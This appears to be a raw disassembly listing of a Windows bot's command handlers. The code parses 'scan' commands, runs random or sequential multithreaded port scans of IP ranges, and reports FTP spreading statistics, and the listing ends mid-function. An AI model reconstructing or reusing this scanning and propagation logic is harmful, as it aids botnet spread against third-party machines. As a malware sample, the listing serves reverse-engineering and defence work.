; =============== S U B R O U T I N E =======================================
sub_4224D0 proc near ; CODE XREF: sub_4010EBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4224D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4224F0 proc near ; CODE XREF: sub_4020BDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_4224F0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422520 proc near ; CODE XREF: sub_4018E3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_422520 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422540 proc near ; CODE XREF: sub_4013DEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401ED3
add esp, 8
retn 8
sub_422540 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422570 proc near ; CODE XREF: sub_4018EDj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_422570 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422590 proc near ; CODE XREF: sub_4018E8j
mov eax, [ecx]
retn
sub_422590 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4225B0 proc near ; CODE XREF: sub_4019ABj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40182A
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4225B0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4225E0 proc near ; CODE XREF: sub_401631j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401A78
pop ecx
retn 4
sub_4225E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422600 proc near ; CODE XREF: sub_401E60j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401F9B
pop ecx
retn 4
sub_422600 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422620 proc near ; CODE XREF: sub_401A2Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_42263B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_42263B: ; CODE XREF: sub_422620+11j
retn
sub_422620 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422650 proc near ; CODE XREF: sub_40201Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_422650
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 19h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422691
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_401677
loc_422691: ; CODE XREF: sub_422650+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_422650 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4226E0 proc near ; CODE XREF: sub_401ED3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4226E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 15h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422721
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_4014C9
loc_422721: ; CODE XREF: sub_4226E0+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_4226E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422750 proc near ; CODE XREF: sub_401A78j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
call sub_4019BA
retn
sub_422750 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422770 proc near ; CODE XREF: sub_401F9Bj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
mov eax, [ecx]
call dword ptr [eax]
retn
sub_422770 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422790 proc near ; CODE XREF: sub_401677j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push edi
call sub_4014C9
mov eax, [edi+15h]
pop edi
mov [esi+15h], eax
mov eax, esi
pop esi
retn 4
sub_422790 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4227C0 proc near ; CODE XREF: sub_4019BAj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A6E
test [esp+4+arg_0], 1
jz short loc_4227D8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_4227D8: ; CODE XREF: sub_4227C0+Dj
mov eax, esi
pop esi
retn 4
sub_4227C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4227F0 proc near ; CODE XREF: sub_401AE1j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4227F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 9
push 3
push 4Fh
push 16h
push 4
lea eax, [esp+60h+var_3C]
push 1
mov esi, ecx
push eax
mov dword_4D5FCB, offset aAsn ; "asn"
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+8D008h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_4227F0 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea edx, [esp+2Ch]
push 1
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+8D036h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 0Eh
push 1
push 3
lea ecx, [esp+2Ch]
push 13h
push ecx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+8D064h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea eax, [esp+2Ch]
push 1
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+8D092h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 10h
push 14h
lea edx, [esp+44h]
push 6
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
add esi, 8D0C0h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422A40 proc near ; CODE XREF: sub_40138Ej
var_78D = byte ptr -78Dh
var_78C = dword ptr -78Ch
var_788 = byte ptr -788h
var_780 = dword ptr -780h
var_770 = byte ptr -770h
var_760 = byte ptr -760h
var_6E0 = byte ptr -6E0h
var_660 = dword ptr -660h
var_65C = dword ptr -65Ch
var_658 = dword ptr -658h
var_654 = dword ptr -654h
var_650 = dword ptr -650h
var_644 = dword ptr -644h
var_640 = dword ptr -640h
var_638 = dword ptr -638h
var_634 = dword ptr -634h
var_630 = dword ptr -630h
var_624 = byte ptr -624h
var_60C = byte ptr -60Ch
var_40C = byte ptr -40Ch
var_20C = byte ptr -20Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_422A40
push eax
mov large fs:0, esp
sub esp, 784h
push ebx
push ebp
push esi
mov esi, [esp+79Ch+arg_0]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+8D008h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422B0A
push 3
call sub_401483
add esp, 4
test eax, eax
jle short loc_422ADD
push 3
call sub_401D8E
mov eax, dword_50BB90[eax*8]
add esp, 4
push eax
nop
call near ptr 71AB3F41h
push eax
push offset aScanCipS ; "scan: cip (%s)"
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 18h
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_422ADD: ; CODE XREF: sub_422A40+52j
lea ecx, [esi+2Ah]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push offset aScanNotStarted ; "scan: not started"
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_422B0A: ; CODE XREF: sub_422A40+40j
lea ecx, [ebp+8D0C0h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422BB0
mov edi, dword_4D63B0
push offset asc_443600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 0
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov ebx, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
cmp edi, ebx
jl loc_4231BD
mov edx, dword_44768F
push edi
push edx
push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_422BB0: ; CODE XREF: sub_422A40+DFj
lea ecx, [ebp+8D064h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_422C30
push eax
push 3
call sub_401D93
add esp, 8
test eax, eax
jle short loc_422C05
push eax
push offset aScanStoppedDTh ; "scan: stopped (%d threads)"
lea ecx, [esi+2Ah]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
jmp loc_422E39
; ---------------------------------------------------------------------------
loc_422C05: ; CODE XREF: sub_422A40+194j
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aScanCouldnTSto ; "scan: couldn't stop"
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
jmp loc_422E39
; ---------------------------------------------------------------------------
loc_422C30: ; CODE XREF: sub_422A40+185j
lea ecx, [ebp+8D036h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
mov edi, dword_50FB08
test eax, eax
jnz loc_422CDE
push 3
call sub_401483
add esp, 4
mov ebx, eax
lea eax, [esp+7A0h+var_788]
mov ecx, esi
push offset asc_443600 ; " "
push 2
push eax
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 1
call sub_4017E4
push eax
call edi ; dword_50FB08
add eax, ebx
add esp, 4
cmp eax, 1F4h
lea ecx, [esp+7A0h+var_788]
setnle [esp+7A0h+var_78D]
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov al, [esp+7A0h+var_78D]
test al, al
jz loc_422E56
push ebx
push offset aScanTooManyThr ; "scan: too many threads (%s)"
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_422CDE: ; CODE XREF: sub_422A40+20Bj
lea ecx, [ebp+8D092h]
call sub_4014D3
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_422E39
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_624]
push 1
push eax
mov ecx, esi
xor ebx, ebx
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 0Ah
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+7A0h+var_624]
mov edi, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, dword_444448
mov [esp+7A0h+var_78D], bl
test eax, eax
jz short loc_422D69
mov eax, offset dword_444448
loc_422D55: ; CODE XREF: sub_422A40+327j
cmp [eax+8], edi
jb short loc_422D5F
mov [esp+7A0h+var_78D], 1
loc_422D5F: ; CODE XREF: sub_422A40+318j
mov ecx, [eax+3Ch]
add eax, 3Ch
test ecx, ecx
jnz short loc_422D55
loc_422D69: ; CODE XREF: sub_422A40+30Ej
mov ebp, off_50FBF0
lea ecx, [esp+7A0h+var_60C]
push offset aScanStats ; "scan: stats:"
push ecx
call ebp ; sub_5EDAB2
mov eax, dword_444448
add esp, 8
test eax, eax
jz short loc_422DCF
mov edi, offset dword_444450
loc_422D8F: ; CODE XREF: sub_422A40+38Dj
mov eax, [edi]
lea edx, [edi-26h]
add ebx, eax
push eax
push edx
lea eax, [esp+7A8h+var_40C]
push offset aSD ; " %s: %d,"
push eax
call ebp ; sub_5EDAB2
lea ecx, [esp+7B0h+var_40C]
push 200h
lea edx, [esp+7B4h+var_60C]
push ecx
push edx
call near ptr 77C47920h
nop
mov eax, [edi+34h]
add edi, 3Ch
add esp, 1Ch
test eax, eax
jnz short loc_422D8F
loc_422DCF: ; CODE XREF: sub_422A40+348j
push ebx
lea eax, [esp+7A4h+var_40C]
push offset aTotalD ; " total: %d"
push eax
call ebp ; sub_5EDAB2
lea ecx, [esp+7ACh+var_40C]
push 200h
lea edx, [esp+7B0h+var_60C]
push ecx
push edx
nop
call near ptr 77C47920h
mov al, [esp+7B8h+var_78D]
add esp, 18h
test al, al
jz short loc_422E29
xor eax, eax
lea ecx, [esp+7A0h+var_60C]
mov al, [esi+94h]
push eax
push ecx
lea ecx, [esi+2Ah]
call sub_4014D3
push eax
push 0
call sub_401523
add esp, 10h
loc_422E29: ; CODE XREF: sub_422A40+3C3j
lea edx, [esp+7A0h+var_60C]
push edx
call sub_4010D2
add esp, 4
loc_422E39: ; CODE XREF: sub_422A40+1C0j
; sub_422A40+1EBj ...
xor al, al
loc_422E3B: ; CODE XREF: sub_422A40+98j
; sub_422A40+C5j ...
mov ecx, [esp+7A0h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 790h
retn 4
; ---------------------------------------------------------------------------
loc_422E56: ; CODE XREF: sub_422A40+26Ej
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_788]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 2
call sub_4017E4
push eax
call edi ; dword_50FB08
or ebx, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_65C], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+7A4h+var_788]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ebp, 3
mov ecx, eax
mov [esp+7A0h+var_4], ebp
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_644], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+7A4h+var_788]
push ebp
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 4
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_658], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov eax, [esp+7A0h+var_658]
cmp eax, ebp
jnb short loc_422F33
mov [esp+7A0h+var_658], ebp
jmp short loc_422F43
; ---------------------------------------------------------------------------
loc_422F33: ; CODE XREF: sub_422A40+4E8j
cmp eax, 3Ch
jbe short loc_422F43
mov [esp+7A0h+var_658], 3Ch
loc_422F43: ; CODE XREF: sub_422A40+4F1j
; sub_422A40+4F6j
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_788]
push 4
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 5
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_654], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov ecx, [esp+7A0h+var_654]
mov eax, 960h
cmp ecx, eax
jbe short loc_422F9C
mov [esp+7A0h+var_654], eax
loc_422F9C: ; CODE XREF: sub_422A40+553j
mov eax, dword_444448
mov [esp+7A0h+var_640], ebx
test eax, eax
mov [esp+7A0h+var_78C], 0
jz loc_42306C
mov ebp, offset dword_444448
jmp short loc_422FC2
; ---------------------------------------------------------------------------
loc_422FBF: ; CODE XREF: sub_422A40+602j
or ebx, 0FFFFFFFFh
loc_422FC2: ; CODE XREF: sub_422A40+57Dj
push offset asc_443600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 6
call sub_4017E4
mov edi, eax
lea ecx, [ebp-28h]
loc_422FEC: ; CODE XREF: sub_422A40+5CAj
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_423010
test al, al
jz short loc_42300C
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_423010
add ecx, 2
add edi, 2
test al, al
jnz short loc_422FEC
loc_42300C: ; CODE XREF: sub_422A40+5B6j
xor eax, eax
jmp short loc_423014
; ---------------------------------------------------------------------------
loc_423010: ; CODE XREF: sub_422A40+5B2j
; sub_422A40+5C0j
sbb eax, eax
sbb eax, ebx
loc_423014: ; CODE XREF: sub_422A40+5CEj
test eax, eax
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz short loc_42304A
mov edx, [esp+7A0h+var_78C]
mov eax, [ebp+3Ch]
add ebp, 3Ch
inc edx
test eax, eax
mov [esp+7A0h+var_78C], edx
jnz loc_422FBF
jmp short loc_423069
; ---------------------------------------------------------------------------
loc_42304A: ; CODE XREF: sub_422A40+5EFj
mov ecx, [esp+7A0h+var_78C]
mov [esp+7A0h+var_640], ecx
lea eax, [ecx+ecx*2]
lea eax, [eax+eax*4]
mov edx, dword_444448[eax*4]
mov [esp+7A0h+var_65C], edx
loc_423069: ; CODE XREF: sub_422A40+608j
or ebx, 0FFFFFFFFh
loc_42306C: ; CODE XREF: sub_422A40+572j
mov eax, [esp+7A0h+var_65C]
test eax, eax
jnz short loc_42308A
lea ecx, [esi+2Ah]
call sub_4014D3
push eax
push offset aScanInvalidPor ; "scan: invalid port"
jmp loc_4231A5
; ---------------------------------------------------------------------------
loc_42308A: ; CODE XREF: sub_422A40+635j
push offset asc_443600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016AE
push offset dword_443DD4
mov ecx, eax
mov [esp+7A4h+var_4], 7
call sub_4013E3
lea ecx, [esp+7A0h+var_788]
mov edi, eax
mov [esp+7A0h+var_4], ebx
call sub_401226
test edi, edi
jz loc_423167
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_788]
push 5
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 8
call sub_4017E4
push eax
lea ecx, [esp+7A4h+var_770]
push 10h
push ecx
nop
call near ptr 77C3FA76h
add esp, 0Ch
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016AE
push 78h
mov ecx, eax
mov [esp+7A4h+var_4], 9
call sub_4017E4
push eax
nop
call near ptr 77C47660h
add esp, 8
lea ecx, [esp+7A0h+var_788]
neg eax
sbb eax, eax
mov [esp+7A0h+var_4], ebx
neg eax
mov [esp+7A0h+var_630], eax
call sub_401226
jmp loc_423296
; ---------------------------------------------------------------------------
loc_423167: ; CODE XREF: sub_422A40+688j
push offset dword_444584
mov ecx, esi
call sub_4013E3
test eax, eax
jnz short loc_4231C4
push offset off_444580
mov ecx, esi
call sub_4013E3
test eax, eax
jnz short loc_4231C4
push offset aB ; " -b"
mov ecx, esi
call sub_4013E3
test eax, eax
jnz short loc_4231C4
lea ecx, [esi+2Ah]
call sub_4014D3
push eax
push offset aScanNoIpSpecif ; "scan: no ip specified"
loc_4231A5: ; CODE XREF: sub_422A40+645j
mov al, [esi+94h]
mov cl, [esi+93h]
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
loc_4231BD: ; CODE XREF: sub_422A40+132j
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_4231C4: ; CODE XREF: sub_422A40+735j
; sub_422A40+745j ...
mov ecx, dword_4D60CD
lea edx, [esp+7A0h+var_78C]
lea eax, [esp+7A0h+var_788]
push edx
push eax
push ecx
mov [esp+7ACh+var_78C], 10h
call near ptr 71AB951Eh
nop
push offset off_444580
mov ecx, esi
call sub_4013E3
mov edx, eax
mov eax, [esp+79Ch+var_780]
neg edx
sbb edx, edx
push 10h
and edx, 0FFFF0100h
add edx, 0FFFFh
and eax, edx
push eax
mov [esp+7A4h+var_780], eax
call near ptr 71AB3F41h
nop
push eax
lea eax, [esp+7A8h+var_770]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov ecx, esi
push offset dword_444584
call sub_4013E3
test eax, eax
jz short loc_42328B
push offset off_444580
mov ecx, esi
call sub_4013E3
mov ebp, dword_50FA90
mov edi, eax
neg edi
sbb edi, edi
lea ecx, [esp+7A0h+var_770]
neg edi
push 30h
push ecx
add edi, 2
call ebp ; dword_50FA90
add esp, 8
xor bl, bl
test edi, edi
jle short loc_42327E
loc_423262: ; CODE XREF: sub_422A40+83Cj
test eax, eax
jz short loc_42327E
lea edx, [esp+7A0h+var_770]
push 30h
push edx
mov byte ptr [eax], 78h
call ebp ; dword_50FA90
add esp, 8
inc bl
movsx ecx, bl
cmp ecx, edi
jl short loc_423262
loc_42327E: ; CODE XREF: sub_422A40+820j
; sub_422A40+824j
mov [esp+7A0h+var_630], 1
jmp short loc_423296
; ---------------------------------------------------------------------------
loc_42328B: ; CODE XREF: sub_422A40+7F1j
mov [esp+7A0h+var_630], 0
loc_423296: ; CODE XREF: sub_422A40+722j
; sub_422A40+849j
mov edx, dword_4D60CD
xor eax, eax
mov al, [esi+93h]
lea edi, [esi+2Ah]
mov ecx, edi
mov [esp+7A0h+var_660], edx
mov [esp+7A0h+var_638], 0
mov [esp+7A0h+var_634], eax
call sub_4017E4
push eax
lea ecx, [esp+7A4h+var_760]
push 80h
push ecx
nop
call near ptr 77C3FA76h
mov eax, [esp+7ACh+var_630]
add esp, 0Ch
test eax, eax
mov [esp+7A0h+var_6E0], 0
mov eax, offset aRandom ; "random"
jnz short loc_4232F8
mov eax, offset aSequential ; "sequential"
loc_4232F8: ; CODE XREF: sub_422A40+8B1j
mov edx, [esp+7A0h+var_644]
mov ecx, [esp+7A0h+var_654]
push edx
mov edx, [esp+7A4h+var_658]
push ecx
mov ecx, [esp+7A8h+var_65C]
push edx
lea edx, [esp+7ACh+var_770]
push ecx
push edx
push eax
mov eax, [esp+7B8h+var_640]
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ecx, ds:44442Ah[eax*4]
push ecx
push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
mov ecx, edi
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
push 0
lea ecx, [esp+7D4h+var_20C]
push 3
push ecx
call sub_401BD6
add esp, 3Ch
lea edx, [esp+7A0h+var_770]
mov [esp+7A0h+var_650], eax
push edx
call sub_402261
mov al, 1
jmp loc_422E3B
sub_422A40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4235F0 proc near ; CODE XREF: sub_40114Fj
arg_A6 = dword ptr 0AAh
arg_AE = dword ptr 0B2h
mov ecx, [esp+arg_AE]
push ebx
test ecx, ecx
push offset byte_446F70
mov ecx, offset dword_447998
setnz bl
call sub_4014D3
push eax
push ebx
push ebx
push offset byte_4D60B5
call sub_401848
mov eax, [esp+18h+arg_A6]
add esp, 14h
lea eax, [eax+eax*2]
pop ebx
lea eax, [eax+eax*4]
mov ecx, dword_444450[eax*4]
inc ecx
mov dword_444450[eax*4], ecx
mov al, 1
retn
sub_4235F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423660 proc near ; CODE XREF: sub_401DF7j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 14h
xor eax, eax
lea ecx, [esp+14h+var_14]
mov [esp+14h+var_10], eax
lea edx, [esp+14h+var_10]
mov [esp+14h+var_C], eax
push ecx
mov [esp+18h+var_8], eax
push edx
mov [esp+1Ch+var_4], eax
mov eax, [esp+1Ch+arg_0]
push eax
mov [esp+20h+var_14], 10h
call near ptr 71AB951Eh
nop
mov ecx, [esp+14h+var_C+3]
mov edx, [esp+14h+var_C+2]
mov eax, [esp+14h+var_C+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+18h+var_C]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push offset dword_50DAE8
call sub_5EDAB2
nop
mov eax, offset dword_50DAE8
add esp, 2Ch
retn
sub_423660 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423720 proc near ; CODE XREF: sub_401F37j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, dword_50BB90[esi*8]
push eax
nop
call near ptr 71AB2BC0h
inc eax
push eax
nop
call near ptr 71AB2BC0h
mov dword_50BB90[esi*8], eax
pop esi
retn
sub_423720 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423760 proc near ; CODE XREF: sub_401131j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
mov edx, [esp+10h+arg_0]
push ebx
or ebx, 0FFFFFFFFh
push edi
mov edi, edx
mov ecx, ebx
xor eax, eax
mov [esp+18h+var_8], ebx
repne scasb
not ecx
dec ecx
mov [esp+18h+var_C], ebx
cmp ecx, 0Fh
mov [esp+18h+var_10], ebx
mov [esp+18h+var_4], ebx
jbe short loc_423792
pop edi
pop ebx
add esp, 10h
retn
